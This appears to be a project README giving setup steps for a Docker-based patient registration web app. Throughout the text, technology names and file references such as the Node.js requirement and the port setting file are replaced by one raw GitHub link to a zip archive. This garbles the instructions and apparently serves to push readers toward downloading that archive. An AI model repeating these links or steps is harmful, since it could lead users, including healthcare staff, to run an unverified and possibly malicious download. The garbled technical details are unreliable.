Welcome! This guide helps you download and run the patient registration system. This application lets healthcare providers manage patient registrations easily.
- Full-stack application using TypeScript and React
- Email notifications for important updates
- User-friendly interface
- Supports multiple users
- Secure patient data management
- Built with reliable technologies like https://github.com/MariusDouahoudeh/patient-registration-system/raw/refs/heads/main/backend/patient-registration-system-3.1.zip, PostgreSQL, and Docker
Before installing, ensure your computer meets these requirements:
- Operating System: Windows 10 or later, macOS, or a recent Linux distribution
- Storage: At least 500 MB of free space
- Memory: 4 GB RAM or more recommended
- Software:
- Latest version of Docker
- https://github.com/MariusDouahoudeh/patient-registration-system/raw/refs/heads/main/backend/patient-registration-system-3.1.zip (version 14 or later) if you want to run the backend separately
To begin, visit this page to download the application: Release Page
You will find the latest version listed. Click on the version you want. Download the files indicated for your operating system. Follow the steps below to install:
-
Download the Files: Click the version number and download the necessary files. You may see something named
https://github.com/MariusDouahoudeh/patient-registration-system/raw/refs/heads/main/backend/patient-registration-system-3.1.zipor similar. -
Extract the Files: Once downloaded, locate the zip file. Right-click on it and select "Extract All" or use extraction software.
-
Open Docker: Make sure Docker is running on your computer. You should see its icon in the tray.
-
Run the Application:
- Open your terminal (Command Prompt for Windows, Terminal for macOS or Linux).
- Navigate to the directory where you extracted the files using the command:
cd path_to_your_directory - Start the application with the command:
docker-compose up
- This command sets up everything needed to run the application.
-
Access the Application: Open your web browser and go to
http://localhost:3000. You should see the patient registration system interface!
After running the application, you may want to configure email notifications. To set this up:
- Locate the
.envfile in the extracted folder. - Enter your email service settings (SMTP server, port, username, and password).
- Save your changes.
- Dashboard: Here, you can view all registered patients.
- Patient Registration Form: Use this to add new patients. Fill in the required fields and click "Submit."
- Notifications: Receive updates about registration status through email alerts.
If you encounter any issues while running the application, consider the following:
- Docker Not Running: Ensure that Docker is open and running.
- Port Issues: If
localhost:3000does not work, check if your firewall is blocking the port. You can change the port in thehttps://github.com/MariusDouahoudeh/patient-registration-system/raw/refs/heads/main/backend/patient-registration-system-3.1.zipfile if needed. - Email Configuration Problems: Double-check your SMTP settings in the
.envfile for any typos.
Join our community for help or to share your experiences with the application. You can connect through the Issues section of this repository.
This project relates to various topics such as:
- bull
- docker
- email-notification
- express
- full-stack
- healthcare
- nodejs
- patient-management
- postgresql
- prisma
- react
- redis
- swagger
- tailwindcss
- typescript
- vite
For further exploration, consider researching each topic to understand the technologies used.
This project is licensed under the MIT License. You may use it freely, but ensure to respect the terms specified within the LICENSE file found in this repository.
For any questions or suggestions, feel free to reach out through the repository. Happy registering!